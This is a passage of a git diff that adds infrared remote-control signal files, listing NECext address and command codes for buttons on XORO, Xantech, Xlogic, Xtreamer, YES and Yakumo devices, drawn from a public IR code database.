NECext +address: 00 BF 00 00 +command: 06 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 07 00 00 00 +# +name: I<< +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 08 00 00 00 +# +name: >>I +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0B 00 00 00 +# +name: 99 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0C 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0D 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 10 00 00 00 +# +name: PAGE- +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 11 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 12 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 13 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 14 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 16 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 17 00 00 00 +# +name: LANG +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 18 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 19 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1B 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 40 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 42 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 44 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 45 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 46 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 48 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4C 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 50 00 00 00 +# +name: TTX +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 51 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 52 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 54 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 55 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 56 00 00 00 +# +name: SUB-T +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 58 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir new file mode 100644 index 000000000..ff3655fe1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: game +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Xantech/Programmer/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Xantech/Programmer/6,-1.ir new file mode 100644 index 000000000..81a97b670 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Xantech/Programmer/6,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: 1-OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 00 00 00 00 +# +name: 0-OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: 2-OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 04 00 00 00 +# +name: 1-ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 05 00 00 00 +# +name: 3-OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 08 00 00 00 +# +name: 2-ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: 4-OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0C 00 00 00 +# +name: 3-ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0D 00 00 00 +# +name: 5-OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 10 00 00 00 +# +name: 4-ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 11 00 00 00 +# +name: 0-ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 14 00 00 00 +# +name: 7-ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 15 00 00 00 +# +name: 6-OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 18 00 00 00 +# +name: 5-ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 19 00 00 00 +# +name: 7-OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1C 00 00 00 +# +name: 6-ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir new file mode 100644 index 000000000..3fd1f0bc2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: PAIR_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 00 00 00 00 +# +name: PAIR_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: TGL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 02 00 00 00 +# +name: MMT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 03 00 00 00 +# +name: PAIR_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 04 00 00 00 +# +name: PAIR_ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 05 00 00 00 +# +name: TGL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 06 00 00 00 +# +name: MMT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 07 00 00 00 +# +name: PAIR_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 08 00 00 00 +# +name: PAIR_ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: TGL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0A 00 00 00 +# +name: MMT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0B 00 00 00 +# +name: PAIR_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0C 00 00 00 +# +name: PAIR_ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0D 00 00 00 +# +name: TGL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0E 00 00 00 +# +name: MMT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0F 00 00 00 +# +name: PAIR_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 10 00 00 00 +# +name: PAIR_ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 11 00 00 00 +# +name: TGL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 12 00 00 00 +# +name: MMT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 13 00 00 00 +# +name: PAIR_ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 14 00 00 00 +# +name: PAIR_ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 15 00 00 00 +# +name: TGL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 16 00 00 00 +# +name: MMT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 17 00 00 00 +# +name: PAIR_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 18 00 00 00 +# +name: PAIR_ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 19 00 00 00 +# +name: TGL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1A 00 00 00 +# +name: MMT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1B 00 00 00 +# +name: PAIR_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1C 00 00 00 +# +name: PAIR_ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1D 00 00 00 +# +name: TGL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1E 00 00 00 +# +name: MMT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir b/assets/resources/infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir new file mode 100644 index 000000000..425987f2c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: clr +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 00 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 01 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 02 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 03 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 04 00 00 00 +# +name: pal/ntsc +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 06 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 07 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 08 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 09 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0A 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0B 00 00 00 +# +name: digest +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0F 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 11 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 14 00 00 00 +# +name: mark +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 15 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 17 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 19 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 1B 00 00 00 +# +name: frwd +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 1C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 1D 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 1E 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 1F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 40 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 41 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 42 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 46 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 47 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 48 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 49 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 4A 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 4B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 4D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 4E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 4F 00 00 00 +# +name: equalizer +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 51 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir new file mode 100644 index 000000000..5b741eb98 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_AB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RESTART +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_SHUFFLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/YES/Unknown_YES/132,60.ir b/assets/resources/infrared/_CSV-IRDB_/YES/Unknown_YES/132,60.ir new file mode 100644 index 000000000..f9fa4cfc6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/YES/Unknown_YES/132,60.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 20 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 21 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 22 00 00 00 +# +name: yes +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 23 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 24 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 26 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 27 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 28 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 29 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2B 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 30 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 31 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 32 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 33 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 34 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 35 00 00 00 +# +name: mosaic +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 36 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 37 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 38 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 39 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3B 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3D 00 00 00 +# +name: orange +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3F 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 40 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 41 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 42 00 00 00 +# +name: envelope +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 43 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir new file mode 100644 index 000000000..96e61df9a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: program +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: t.e. +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: p/n +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 49 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 